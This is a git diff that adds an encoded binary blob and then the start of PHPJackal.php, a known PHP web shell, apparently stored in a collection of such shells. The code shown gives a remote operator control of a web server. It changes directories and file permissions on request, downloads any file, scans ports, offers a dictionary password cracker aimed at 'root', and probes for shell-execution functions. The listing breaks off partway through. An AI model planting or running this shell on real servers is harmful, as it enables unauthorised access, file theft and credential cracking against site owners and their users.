zJGdkAO>p0Un7{~GbD7nieb8iWAn9=yt7s9o#XWZq5C$`4VFq-;?2%FkUpLhZ^0M** zs>Q%|8>@gtG^j3*-`qZAd(oeSK6Tq7xaJddtW3GO0zR<+7)nQ)UsRe0@9>u(?;u_! zmn{z-pE<y{<<Vtz7eC&7@fBp6F+mKgXk00ERWaE-wcT!CZbg5BQDFx=smY?Yr{s&p zL#pWTaPvS(XBM!}aZDQ~vflh4HvOp!bEuwa#@Pbcn$$vB>qQwh`<snPqdVgCsrze= zJ}NfK)XFW9h1kT#(sB0cp@AcV1H3W3EiuOqzHL+vl)j;{?y?SqlnDiS%AawD_IJ(Z zJXdJkZE&7iLVND<Yl4)Jw21ia77DdTlftK$YRh$PP{nDbKp?H*#3d`aX?x%8B6>UG z_cgS90k<A%`RRBq2k^y4g9b)*3|ij>`u7@g%eo2L&S5sC?9Ik3p?jz6mtN9kQR^Zi zeL8$kmTQhu*qK}Pr$!DR&0@!B@NKzobTrXK2!*ub&PDKFH5?PBRNC@}h4$1B-<7Aw zQF-<ZtH$#X9mX`EKuC?NZ_)Z7xh1mb2A&p=Vy9s0sMtQ)q*6J-NfY&S!*~#uOh&fH z8uO#d&zkrvQ!g8r2{4r$ujf!vj@cO?1$-W37YDq@{`tqZ73tib-G0mp8*k>cSU>PM zfAOSOFfD`pT!$kpck|26Av(OiLy3pUdqzjWMRaNoJ4gn<Ynuw_ICp1fI*pfe4V!+& z30xdWGmIW#1JMR_3Yr@#kARmKUQA6#&rHgb$um#4I+z(?U#}y)LJ&r<2##GMiM_Cr zqpaB|o)Tw!n*K$)-h4yFJUivHm+TP{$Gd+CwjfyXcwN`J+)~(%Beq!l#0J0Qei>~8 zZ`@LGtO;E|kAPyaGasKw?qqiM@)Y9&tI%#B5Z8!5jssFt$QV?=yqZJ}5CsqvQer5X zC<7!4_8iI#8RAKGZ?#3j`9|j8><9&^3p0FqP*7Ph0zPath2-HCvh=*n`1HpD3Tsam z3ho(8aq#ty6dT;}P-Ri^tx5cEgUyGcGgBM%+hBiCD8HV)P$*=%9=e4%#(x24A1<kk z9%_G`)_~%j&ln-bKMz|@=I=<o0qo`X+KVOtnJ>YxyCj59@{KS@jo5=j-?E~qrMr~* z&*p6UAiQnFJra&gH;>5maU5z+3ugMP0^$q?HnWht!Aj-b4~oni(#84jNLy^#Z*Iy( zcxBXZ;!2cP)(%JGK2p;_)>9#5qj+p*3F>I*Glx8DA2Xe};2Zy9a{Jy*;Xypc8-be4 z5BnF$Sr_}cPUf#l?o7xk$hf24;zmR|BHiRXIr*Gxde`(d{ToeCkap|~?9r5e1&Wsm zYZ6Iwc#T{tj7o`F&Wv&knWa{|CWF+l#E|!1F2$zR0(LpSS{tVyV1@~}h-a9u88=#= zk{gU@OEXHS=muq+5{=!0AR}j=xq+YK3*s**Ruit5H34bf<Jq~<qrnfWnDTq!VZt%^ zgSVGRJX+$*lw>|zcP@U=%^j|N_CO(m-R}{`DW=uAD+h(}Q>DLxB&6T$<&un-WbGW4 zkRiKEX*2Z<+C7Eeab?&sl#e+ju6L+MRO{sm<GTAn$H}mqb7PFz6PuQzgB9};>^s^= z208PePL>==DJH?mKtaMj54f%PSM?^M<0<?oLH0XI2vqdf?M%F_fn>V>0oW4gi54WO z!05B)7*#Dpx*@MkDR(nfuSZ{Nu>(d41tQ@hX(0dp`~+s&Yb>85m6f`3vDY;?V%v}0 z5-G`~V0}j8F>P=hT^cx!03<ZwIN1%~=oM~>2XaB`0}~mMb<3jZx0Orkm}s4dg%sM0 z)Y2tqA1*~;C+U$VOk9G}C)V+LkqI^R{cT$oHKuHReDaW=DGw=s1UZ1#{u^Yx*)z#n zDu9nh4WP_m(6irC#eSwcxZ$auC2Z~F<*XyW>5^@Wq?M`Ud;6+XJH&QwNejgz9?@t4 zR+5}wkc#HPV#lkV_H51s!F4c5csevRHUODN`b^UKr_u+3Z$rVm`ZeugfHb`Z;Hp6r zLvlOZcg-@~oq{mWDc-ewh-Xgw7{GD`y-<QI=0V$u<y5E6B&3J`PkZMb71fgN?QQ`9 zNlHed0)pfuB9f8Nf+UHOvkf#^5Cj?yX+SapDxr}ixyf0AN|Qk{5=BCjLBJ+<bGK*C z%;9`<=FC0cy?5QU?wUVXy>@r)T~yV(tKJH~=dI>WAG=wCj_%FxoggQQm)DS!omqo0 z@Y)G7J-sjfqnf3@#eV;A>fmyydHN$qa-biAx9f6tZ#xFThJnd%$o(gy8Kd9vpj;WS zE6M!rnwRJkgNC_EMT62P5Jgkl{|YvdyY|26o&9P5&(rKOuzQ~gAAiwu%%nFn1MkS0 z``*`*<jV3#n2FyDsY+&zQ#^i)4FDvb*;n7mo<GL8TwcgpLq?EejM#i0TP;RNN(b*W z$HumdFRj1sVI_AwPNT2e(~iW|*k8GySxLYQX)Qe#l*-MI$WBzGt-!v^0?7?6)lv#w z+}M~xxz*AzkL9}G!(=#j^6yU>W$PVzb-ip3kbRzJU&`AXjX#S#9zU&;LWftp12)Js zWksLAt4er}afH+ymDMXxx{KU&Dqd`^6Z+Uque@s;ORvWVmp6-e2IsFSr>5H=DCsW{ zikoJ;7KcAU?DD05c(rxEc>ij667ksSz$WW{3tu0uvU}H9+Gncqt#e)OMiLUf)^pm& za#aeWiTn<1*DO-0)%&xUKD@-Aon+M|Re4#HRo&w|^%TGOGFE_vfRX<z)W+)z2rO}& z#&l`b9`T@ICw<qb&x<{@WI;7!Mwt;Ut(dl$%&{;WtDeqeBJc6cQ7BnDIfWq0FS=wY z&YeOL(suLK(lLF5n+A*5>4qYCu!r<d(-D~l3AdAZ-8Elb7o4>PS(mTL-_;<n9k;b* zY{6(0W@5vJ-m9YH{3oVejx;1`r|Xyx3>Y8k@CfuA?;RydaHII2oPjuTmP*w6cJlvB zNc0EaUqpw=j?cmyS@(Qb*6+?A^S5KM*>RM*f7!$J2;<~iBsc9}alU2?Rly`1p?v)s zRdCV`?}}x2vi!;E4u$VD@V;%R3!BL8wy<q40?%AdpL_XP{hjKj6SKUzNFP}p+jjx5 zY~Q+d=JHBbB<OEpA<lnBc7HB?lG>8aey=7XeNIBVL4Ja2B&fASJ{R)t!vMY;w~6}4 z4cMGFJp(#p+5%0Z_Gj4$fg;12^-uvSyJ2Vgu8d%Yh4pqxX>lX|koT$|L@IOcrEg^y zFah=c>}t~<@e@aEf^%$l3cVCnB?Fd6&C~9LW`%I$)0Cv@LRQ(#F2W=JXb>A<VXu@2 z;ZWlpAQh$|^b7eysfriqBf+&QH*BP@T$jNJOQ8Qtq8n$p3GCq`Dn-tjDvW-o&1+&S z#>?(<IynoUZtoS{U9N9%qt+j%HFt2i6Y0z&1m-|A5Ha9e=Yp){E%xql?penOrh3!^ zM5eA*X*H0r4jGT!Kr;ZJ^8(;=j?N4w7WR41++y4e=rm4Xz50VLkNM~Kn6fB83iAow zO(3GVX`EW=M%v(+N{zCvCe=}G#mDPTE0sj(NNQbVY~wMZXP|h^=segpkZXkNdtut+ z!cnelCAYN!(GrpdOScOYxN?kc*@f<q#4%71*0P|Gc8d-MYK}}gonwQs0{3POVT!v* zg{K2DVWDNBTpK5)$wavjH6gtxo%o1+!u_`<Q~ZqtYA@}b;_g}20ffmH0ZG|x$z(e0 zAl0&O3@;WH5`D!bn9!?z>dSXsZusA)sGK46e@=agTw=1_{UW%Z0`3dyY^qE~!EadL zZR)dmb@t0ttv6nSCON(|({dfm^h1vG5Uv|k%gsGjgmLtSjR}e+O^R=tIJZf8o;sMS z4eWAd?9yAM_CIvt<EHCfPas+fS4>2V1&TPsIIA9ySyrdxg>GF`MbAYB-y5D??yOCx zHr~op{TOn(xqKTBbR45Wc*|Rhqr(Q$B@Qqn6&y54C)C9bMna2g83pnTt?%*Ie~j+2 zF2ib4dy~H}eI+WtOc!lZB=Q3@_D&UWAs$YQ$lAO#dY)Amjj%!&vG_i7Gv=;nO0Ml^ z><*h5vu6)=Yvl1K=5X8Az4jtn)Gwq=E&n)eho<fg-2Ca4X=uV!o_c&|_dJI#$IFR* z!dRsGzSzOg4JE%GVz;JZi}e0NS3|cbSKlu?j(Qf41xlA*2CO*-@!i{xH}FW1Ru(=Q z5hhG3-aZmia$4ub=pWU|pj}T_J<0QQYZT~dRq8|TvbmA7dQoW3ceFf85_@Hs5B(BV zuP3*7x*;b)&s-r1$W5z4sAk?%t}(jdDPEPAatliN0&Xmj=wz><$Q79#GkS~ASA#lJ z-&bnVe&bZOqCt2`;&?xgnRGr+-GY)X+J>jUEWx`XCdVzNqxoq*jGyyeouMUz^+-mb z@9XLR6tdwHp3?@w`gQ*4E8S=?lMGxaC!iYNRcibKQ8{~Z>(r+cEYIkxU9pp%K-Wb+ z9{=0+vRUzmBf{11n;0jxq61%X5qNuH2G$=qbCs1t_XZ05!-Vq8h4P-c`pDk5p+!o6 zs@2zXN~^TTV@f>MA5E+2Dpil!E#5T?yo92sp-8iLMQPk+Nzxga&dUtw+v{l1zMQUs zvZ`YvjjxLl-v1F;NC)xRa_>I;u`vwgy_v|WS)YcZQTr$!ZEN|A1i}=Jv2)6E70FqM zBX@*%YSw<f)q9hvi&4#uGE;+&PbB*d8xU>2{+*pc>Vpx^_~&;&unS9fU3?ksvVr2f z;%ot(!7FC>T8NJmt!3zV$Km_*@w|^9|5s7c!sgQj4v$bacM9K@Kf`s%W4^@t*#n!$ zO`p}+$i)@PJ1*P*CV5O%`*SBF0Ee7oM;;xN+}pDZ*K$nmYi|_p_kDG72p)gxzzl7B ze1CyTaFSv)a9}MjjzL#j38V|Sl#5qv&p;+rz|IAYb7~G}#9$TnfbJ4%<~Bi)Dl7Mj zcN8wkRmBqJ?CcNVqsC)T0|I#l^+UXv?3U4USmvjI6n3o=M(UMdAVn#pdaQK;h)4wb z@mEvG`tdcs%>`sWD&}qWO?`Y;D`J`rvdk5Sjf>&AJ8l4#A_7OV_{e?hn?bk=_FlH^ z;krSILjz4l!BhLXRBaXQG7^~b*BQ42AHx}WsqZLX-%B8G3~j_2NKRT1h-Xc8%8h&f z34l-&<N}h^>+sNrsQ~X_i+Ssot3sjQ>-I@f?n@GsL22ZgI_?^f8##cR>E3aoxY-;~ zuzb|)Jhy3#5cKkh73}?7i%qj;vZe-GpOD-;$5w-%XQvf>n1{&_3Zz`E=QNV>x7q~E zONv3YpMo%7f*l|4UI6XzSBSRrEq6}S=tjdvtBZ=R>h%xf?$AqguBfun$(HSF9)nlm zheU{Z6%5O{GVr|IsmZ9>2GxyX?(!x)d0z1u6co1SPT1=XZd<t1+6n+3svG2-Z~6bF z_e-?ZhPWzdscAZXH|m1x9h8VW_zii`o6bdM3iZ_teyUR*_@QzY>+uC>%i$%&yvC5z z*Rmkk8|b7M;YFWW`$cq$yW#gO|02Y<@!)DrD$e3b!H6f!w7Xooacv&g+c}h)owCXp zTRDPJ0jmoH4#c<ZHZEoqWIo1BDs5nnA4EM=!E16?agOY6gWzA5K(Znq!|r$v5cgT6 z&>39kH87XlvP(81A5ONDO3?fw2?AYcGRqD8n?3x_C)oSL8E98b36S<ags-?6m;&Aq zOCo$+9H-a$`_YL4?-T+tCArQA?QGi987bNPo_?QekYB*a#lE*f>P_lF^te;tGtW)4 z@bf@5*KaFyk}Z)gGU|_-3-~l}Rz<9{lnP;YtO%v>B72xpVVwRNq<YvWCuHp+@KQJd zOTwROt%11;Ae31cf&cb;lnX<!AGs?}Nne38gvOhWLb`N0L_MVmt@V*j!cPc3Mb5nO zG`ya)`0QnpZbNW%d*FH+>0(fZ%B>}?8_1qR7H<HCT(!&nFZ0n^o^(`u#lLkqr@UMr z7?kv6hPy7W8LQA7TxFf2ZQ19a0M3>Ii?xT}|DQ|yL6xdq1x(9~x!W6Txg#(J&ctF* zfw^R?{@;;lZwDd$*vsknj<5X#3{5jDMPx(3c53eoB>X!+#@J5WNpTrCMg1e~4bbwW zSS*{i$nG)x4c7K|VjQ5>F%5p@b$SNs{rf+W{R`Udha|^~{NFhOwb~a;<^Z+6g?^Qn zTC&apc7ma{Rm|!SR!u2RIb7kNT7X7G;G|8)B3$@Ne6HVEinb;T9_9@ET8n@*M@@$Z zLu({n(6S0Ld`AaOzKdjiuYR!8Fc=|w{$^F&wb1w%k2xXqq^$AVy><C1DlJgIa%b-& zHE|N~E=xGFMWdP(^JFfCIs-z?2jiiX>n`<X{WOMJIM1m%k3B*vfee42&bIdMNB3%u zOLK0K08F*vJl(8tUyC62_d!BMgL1Uzlm4eO1KlWyzVCg)JRpP;e$m+m#{l!v`{&_8 z2Ia;N3#O~5Amy-6AyM-=cVAjCU6yuNahOTDUtXosSa$-cwxmm;Y={6qndxGS0ZG?) zt^!AWCx0JfW`0!+>J2BY<;6uM(7(s7UMgT)C_~A{VLT;Gi`wuthOiaOgc;(b7q}VT z$48}YN-bKm2g@<c{gcN*1yXHYESZ<klMMG!mz3ur_S5dfgn^lE(-~R0l2?u8JvfqU zQ?hPON{{tb>*?avH!GvuWgoEw+Q5PLd^ma>&3Xo+Q~8y5^~8bKn0w=ET_d#Fb%R|2 z>`DZ}3y$%o)bO>Yafb1rhPWEjOsX4w%uMdDF?$!dy!;Xa+GqHq5<~tR7$K9i<@cMo zm@}|$lyc^J!pv2h(CpWGA~(61g^0JOA{()ZBx^gL&p`HT;$On8Dr(G>v{Wa>NvUFe z0cF7W8R#t|vR@V_aL#nrjHk4jwjvy*-$dg{dFw=<fx`4WM%;qe^_62{#1_>;p#nBG z@!>o#r-sKtX=k8BIqLJK{Ex`BA~n5=p9U?36@8pHjD<}Fdkrdst4LX%Zbl;i2w<Qv z!V-M`!RO6(_^Nb8u~&su80K+K60@O?V^s~9zN>$@Uq!pEFjzw|H}`!ni+4Kv?#Lpy zg=*LLg|{w9IdR@I&_8L|T#uY7DlvVS=mVH*%`TnAz0iu=+;}naUlK<=bRao~#Xo&! z@o*D?@Clf}^mL{aNo^9ScZpCc)ILFp=P*aC=PYsbWK;aEv<!nxyYC~_c-)Zj6=%yd zaAk(<WC4}NaKaH^?rj}SjtJU`P8K5`5e<XoqlhooZy!ko_xApNyR2(H9$V<HvP(kR zMJ%Z(vlvbqlSJ8|p=c=^SBK<8YnC_uOrq-7qsj;gm#ut3vPk)(3t+-ut@k&yHUqKe z&q(T}it?QUw1(8gJPHfh7`UK{iHExmP2$j7BM!EznQ_Ua{l#q_QI}<(PsN(04Z@u0 zh8E%Hia2<#=;nV84DiN*!2DNJUTc0+=<^yj<R7!-t+2q6M@TqWWa@e1;qA&<*<7pk zm=uX0BZayHve;l$>7`I?z4huV@4X7+PHVo0owILnJEW<BG7A!!WPpDB9BnQ3H&?l| zk{+hU6Pxu$=opb3A_a0=nXxI(Zi%t)wjUU)5m9ytz_u1&yQ=v-<k>v>>`MJ+K=TnF zi?!@LdoV8a40P%T&^Xs(V7@oCcpeWB_j@b1CT{MjDj8puE^CRQ5^drY>k=)%TZ*!0 z-;p^TRl`a<>07i%J$K(hO3`R{VU?H#2;je#c;#Fh1O4+wM4^u_tPm)F&HG@sJPN$g z!j4~C?g;|$pV&@Zju%@x^&&y%d*I(#oG<r<b9eowz4cZyNzSJ|-*g69fr6_I_2yR| z?+GBhHp#|cmLpT@JEM29(d&r4v`hQL3#nfrG6dhqHL=313udNSq=$_kKH##nS<z-Q zg-=tJ2e)Mg3LL#?9}4{tzvlqr_X~KJ-Qtw}^YKXj3P_Uz{L=uH!yoJ8ecM=~X5c_< z3;U^~jtd~%pLwtO6~@EGQ%bYFpraRPD^;sN#CCvxH4#TSLwKUN!MYQ-+5+42LsVj` zr3OSLKG)uv$q*hF1IGeSYyb6WQ21|fY0wV~nq<>=RHYu|-k&$>&OLQf$mi<_TLE!o zv{Ky*5Zjq9;O+PdyE#NN$IgFhbA3@jv#+&>yK75sTaE#7p0ySWz~f|Bl>Q2jdt{Bu zV084ZGpB+oQ`@S<nRiqh1@REi1gh${ZdV;^`9bHaYt_O46u~tw8wlCyGou$5TA3#} zE}Fzlg_nTr1!ItLOMYZu+2HGezy<;Ql<PPgON0X|q}2^~YZ&?{wC3%F86z_#Zy4L% z8)4el#mUKuI9TLaLvL$;V+qfm=5Kym0v&r;;bOSuoFLAdAo8QCeK2A}E*5tjW0~em zjMYdEMa?5P6iV3N2kBlJNob|`IG%KVOfx(9W6pri|F0eKozLa`$Z7UJVzz&j-Rw@u z++>qhOI<R5jm{aUcxqsPPMyj$cRzw0;lUS96fY{g54t*kdJW)C%K@s9oA7;!qVjRs zMQ{Opytw5UoJkHJklot^BpZPVz`HNzgU0zI;X9P(xEmFob7ZR-9N#XMlZ`dKhV>dy zsZtu^@uG<N6zQ0vC{^A{?ZxQhcnt;fBD+_&O5)2BtIUkzd^fvV_Xi}_V_tw)SV%@T zH&40jsdBq)q3$|k2CVCh4Fwm=XN{jZPC52zK=u#$t0U}`lPBf4j5tUeU0a^TgfsaQ zmBQa&C2i&!E!m&oiln+`2j#GQ{}Y7Gp3iL}Adr&#X+^j6ZKL|~(DbaDk){^{?jQN; z7&-!Yia2k!n2)p%>9J+AHx65f=iSsHE*a?%N|&w7f#!Jef#=HRg$x2`8g%WtaxOld ze_Yxt-pzr~NHFKu7H<gD3OoV@1K#qbrCZ1&3J2NmdtA5>hiDHzDavv|GD0leeCIed z<NELuk~7d{GgD*e!H^>FmVx*dF+H<8ujmPh0k9%q3h35cb_z%I&2`?+yzBvM=(xky zv0i)tUfluk2T1_uvV{ys4L^TH^C(g#SF@20^F(0#_=px>Rt-NU0D>CNg#m{>Wq)&3 zqQnY3H~ilz|6NP}y%xeO8&bTrzo}yfh>k~UlBk7g``vYunZRp=XjA<0gy{zs15o&0 zFlLN4;fd`P#5{V5;ncC8yEI=(frt0aXN^l~KH96dk3$BSbmVRQ?2Qpe`*8uQ43XrB z%^zsI+t-Q(U?s)dsdf{vh^n|BY`lQ&Lioby@`xU-XNwi^S|CW~PA|fDvNsG`_U3=| zM*}#TKH$*5-~<wmet!Tg;~`GDPiVGJ56yr@JkcL<>wu_2Y8c+RqaEP(R(s%Ok!c5R zl%Z=mBs~Mon~YL}hp>?cI6p!74g;_w9$OCFIS{&y!;?KUxTOU8ujFf)1r2c+o;IH} z$$?(-QR6JmwQ)5Ln+#cq(`4E&;fj3LxmAMXNNY;uY^|q#_~HkEuk059UlS%0wAGu~ zS2Q=nNU|97I9Ii;CN4ualvyT8y55pGcVTLl4^y*E5s!hmqn9V;NuvCw7lU^XkkVPP z>&GXp`!}gJi=NnhGi|&4`gWK><%^&48-)YwyXe_tW(xJ<OK*XFmESsDYY-*6I;l^Z zN$Lc4WsG8qlk_liQv&%iX|;Le^VQO(T={?xYG+DLbo!Zar|?(8U2cdeHg7YpKCMrb z{gnoS_hYL)yQ9)Ch&vjzrxu}QLCGfWt(&LV$!5hJ-iDdIn9mEPJR9ZG0JyFv-}q;6 zUCoPY*9>^R-29nbS9&S(GV@Y5MBpv{SANBw+AH^LVkY%|2GK16)LIS}M95e1Fm9)V zHNjV$aWjgJB1g|s9y8^0Fxi$#diMD&QG=%)XotF7U@lAsBB_R|djVZSl$4(*>(#&5 zH{U(cP1cz<DotW5Zx)2zZHla^u(>%k9OZSZZBUN6@02nxl_p1f*0e5tS%d^4rzJ;! z^nxkP2D93gtx%rOqxM?;flC2|FEY;<GLXbz<=$v5D@=&A+#U|g3X~@2%bGH+x*g!3 z+t_-IHqlOT4`zGUm9Veh_35fEn_9kSC4EKHUg*&MB8-tFfeXf8wNxNd7CAz3pFH^o zv#rhNT0`n4m>?(fXJ}g~F`wK5d(?7Kt06#5#2oze^#?Xlrb__rk_yEa5Z?1hpy-(e z%tO*pYCx$b+KP;$Wl|((rvvW;XL0Y~Zav55-w13FDC3d0LE(*Hox1oP+p4r9Ro|p3 zhNBqO0ZTJ)B?_%aEYEHE+oKbx>6`{tuKVy?U$g39qxOGA+{r;H$#SRo-3`W6nEoWR z7^yE7M=NU^_a%VD<OwzSvvIo{AoXIMK>8g`is5Zk__wODxUJD<#-P@2S|o1NsuPp8 zKI(aaesct85jDxB{&85Vp?oE|wo<;h(-`tv%}6k0*{(WG2wW#&@(TiOQXfE|k!=>< z@6Yb6O%+~r)zDqi@L}L$D7_x3&#>~XQi<9tzGQNMrnwW@o;IN@SQoUrg~z~v@{zJC z_fvHAcsl&tk+;hzb7IIpe!S1Wj{m2-8R*23aZbRViE1w3hP5nR-xJN>AgDz6*vN_R zruxRzud1;CF)^?qoXuIELfkwqv~lZCZ>ge$({nt`o+*L6JHv*CAJ&G=Vjg_-Pr`L^ zvF&{B-T|P>JmE&S=}H_1jm*j~7rgLKmX8p^1HQH~p!ioEhF*v_ErzySZ60MG$!Wk( zhB91WnlC@HDy9&F4TN=}JYG5j__0wGV3%=w%F~BV0FW#UjX?J4&h~#xe+eCT0GMR3 z8-%s&w|apz|D}F!d<AnLKFc|{g|2v~%D+u(WWG_sTnI*k-Jf|PP2qG<f{E~VZCp6Z z1J+X|KeQ6apAML2ILBkx=T7OS;okrOi*XLz7wB~feonFa-;{!tFiOnR-Dq2`1B<sM zdl=dEP3<W=N<SGhIdZ%5XJD9<fZlj~y&``97#@Cr)McU_hnpx3ffb6ZEkEtd(&zlq zS<@Z#wL%}LeVx_{#piV?1VNrO3$o`%kWz<8xj*dM8OI&@LyJ=kyvBv(>3h03$S=f} z@}Mz#+o#`vJ*x1-@he5}&Kv8v`q$qZK+9*K3Sa<=#YxGcVmFHBjurqHk>Xov0s#H^ zpZqCR0P%!WlP})#ikk4W1m3sO*M)25yCjW(>Yf7dGhc(=&R4(wV0QALFMY!mo2+`^ zpRBk?8x<7T90}){{>J*3s&&|f9rf`mRfA%}gw^r4JG+6IVWth@p~-CgeC(l`lrhqf z1E>D2cu%2YD}^#2-1sF-TGG`AML|-8`t<UvRcON6ElwtpMTr%8wph1z5ae0G%&hse zDcrU@!?WbZ+#PZe2+Cty%fECR7gPbbt0TZnuTcpkpVPxZi`i3T@8Gj{mlP%~CYQ(e z6mzV7Xs#i!#p<^=%TXZ?n(jT~!VBsG4vUPAwJb^lpxyCa#PO9vF>N^lAQsO5#Xst5 zmm~Zc__(N9?Jpaj=Qq0aOx1Am-tg~jz$}4Ei5lGHKzE=oIa^Uv*`%-xu}F0x$QH3F i^(P-hXm=<$rjE3X8UuCq(fs%_P=}4c$sfYA&;J3~;2I48 literal 0 HcmV?d00001 diff --git a/php/PHPshell/【PHPJackal】/PHPJackal.php b/php/PHPshell/【PHPJackal】/PHPJackal.php new file mode 100644 index 0000000..87862ba --- /dev/null +++ b/php/PHPshell/【PHPJackal】/PHPJackal.php @@ -0,0 +1,1582 @@ +<?php +#--Config--# +$login_password=''; +#----------# +error_reporting(E_ALL); +ignore_user_abort(true); +set_time_limit(0); +ini_set('max_execution_time','0'); +ini_set('memory_limit','9999M'); +ini_set('output_buffering',0); +set_magic_quotes_runtime(0); +if(!isset($_SERVER))$_SERVER=&$HTTP_SERVER_VARS; +if(!isset($_POST))$_POST=&$HTTP_POST_VARS; +if(!isset($_GET))$_GET=&$HTTP_GET_VARS; +if(!isset($_COOKIE))$_COOKIE=&$HTTP_COOKIE_VARS; +if(!isset($_FILES))$_FILES=&$HTTP_POST_FILES; +$_REQUEST = array_merge($_GET,$_POST); +if(get_magic_quotes_gpc()){ +foreach($_REQUEST as $key=>$value)$_REQUEST[$key]=stripslashes($value); +} +function hlinK($str=''){ +$myvars=array('modE','chmoD','workingdiR','urL','cracK','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL'); +$ret=$_SERVER['PHP_SELF'].'?'; +$new=explode('&',$str); +foreach($_GET as $key => $v){ +$add=1; +foreach($new as $m){ +$el=explode('=',$m); +if($el[0]==$key)$add=0; +} +if($add){if(!in_array($key,$myvars))$ret.="$key=$v&";} +} +$ret.=$str; +return $ret; +} +$et='</td></tr></table>'; +if(!empty($login_password)){ +if(!empty($_REQUEST['fpassw'])){ +if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw'])); +header('Location: '.hlinK()); +} +if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("<html><body><table><form method=post><tr><td>Password:</td><td><input type=hidden name=seC value=about><input type=password name=fpassw></td></tr><tr><td></td><td><input type=submit value=login></form>$et</body></html>"); +} +if(!empty($_REQUEST['workingdiR']))chdir($_REQUEST['workingdiR']); +$disablefunctions=ini_get('disable_functions'); +$disablefunctions=explode(',',$disablefunctions); +function checkthisporT($ip,$port,$timeout,$type=0){ +if(!$type){ +$scan=fsockopen($ip,$port,$n,$s,$timeout); +if($scan){fclose($scan);return 1;} +} +elseif(function_exists('socket_set_timeout')){ +$scan=fsockopen("udp://$ip",$port); +if($scan){ +socket_set_timeout($scan,$timeout); +fwrite($scan,"\x00"); +$s=time(); +fread($scan,1); +if((time()-$s)>=$timeout){fclose($scan);return 1;} +} +} +return 0; +} +if(!function_exists('file_get_contents')){ +function file_get_contents($addr){ +$a=fopen($addr,'r'); +$tmp=fread($a,filesize($a)); +fclose($a); +if($a)return $tmp;else return null; +} +} +if(!function_exists('file_put_contents')){ +function file_put_contents($addr,$con){ +$a=fopen($addr,'w'); +if(!$a)return 0; +$t=fwrite($a,$con); +fclose($a); +if($t)return strlen($con); +return 0; +} +} +function file_add_contentS($addr,$con){ +$a=fopen($addr,'a'); +if(!$a)return 0; +fwrite($a,$con); +fclose($a); +return strlen($con); +} +if(!empty($_REQUEST['chmoD']) && !empty($_REQUEST['modE']))chmod($_REQUEST['chmoD'],'0'.$_REQUEST['modE']); +if(!empty($_REQUEST['downloaD'])){ +ob_clean(); +$dl=$_REQUEST['downloaD']; +$con=file_get_contents($dl); +header('Content-type: application/octet-stream'); +header("Content-disposition: attachment; filename=\"$dl\";"); +header('Content-length: '.strlen($con)); +echo $con; +exit; +} +if(!empty($_REQUEST['imagE'])){ +$img=$_REQUEST['imagE']; +header('Content-type: imagE/gif'); +header("Content-length: ".filesize($img)); +header("Last-Modified: ".date('r',filemtime($img))); +echo file_get_contents($img); +exit; +} +if(!empty($_REQUEST['exT'])){ +$ex=$_REQUEST['exT']; +$e=get_extension_funcs($ex); +echo '<html><head><title>'.htmlspecialchars($ex).'</title></head><body><b>Functions:</b><br>';foreach($e as $k=>$f){$i=$k+1;echo "$i)$f ";if(in_array($f,$disablefunctions))echo '<font color=red>DISABLED</font>';echo '<br>';} +echo '</body></html>'; +exit; +} +header('Cache-Control: no-cache, must-revalidate'); +header('Expires: Mon, 7 Aug 1987 05:00:00 GMT'); +function showsizE($size){ +if($size>=1073741824)$size=round(($size/1073741824),2).' GB'; +elseif($size>=1048576)$size=round(($size/1048576),2).' MB'; +elseif($size>=1024)$size=round(($size/1024),2).' KB'; +else $size.=' B'; +return $size; +} +$windows=(substr((strtoupper(php_uname())),0,3)=='WIN')?1:0; +$errorbox="<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td><b>Error: </b>"; +$v='1.9'; +$cwd=getcwd(); +$msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td align='center'>"; +$intro="<center><table border=0 style='border-collapse: collapse'><tr><td bgcolor='#666666'><b>Script:</b><br>".str_repeat('-=-',25)."<br><b>Name:</b> PHPJackal<br><b>Version:</b> $v<br><br><b>Author:</b><br>".str_repeat('-=-',25)."<br><b>Name:</b> NetJackal<br><b>Country:</b> Iran<br><b>Website:</b> <a href='http://netjackal.by.ru/' target='_blank'>http://netjackal.by.ru/</a><br><b>Email:</b> <a href='mailto:nima_501@yahoo.com?subject=PHPJackal'>nima_501@yahoo.com</a><br><noscript>".str_repeat('-=-',25)."<br><b>Error: Enable JavaScript in your browser!!!</b></noscript>$et</center>"; +$footer="${msgbox}PHPJackal v$v - Powered By <a href='http://netjackal.by.ru/' target='_blank'>NetJackal</a>$et"; +$hcwd="<input type=hidden name=workingdiR value='$cwd'>"; +$t="<table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#333333'>"; +$crack="</td><td bgcolor='#333333'></td></tr><form method='POST' name=form><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='20%' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target value=localhost size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>"; +function checkfunctioN($func){ +global $disablefunctions,$safemode; +$safe=array('passthru','system','exec','exec','shell_exec','popen','proc_open'); +if($safemode=='ON' && in_array($func,$safe))return 0; +elseif(function_exists($func) && is_callable($func) && !in_array($func,$disablefunctions))return 1; +return 0; +} +function whereistmP(){ +$uploadtmp=ini_get('upload_tmp_dir'); +$uf=getenv('USERPROFILE'); +$af=getenv('ALLUSERSPROFILE'); +$se=ini_get('session.save_path'); +$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); +if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; +if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; +if(is_dir('/var/tmp') 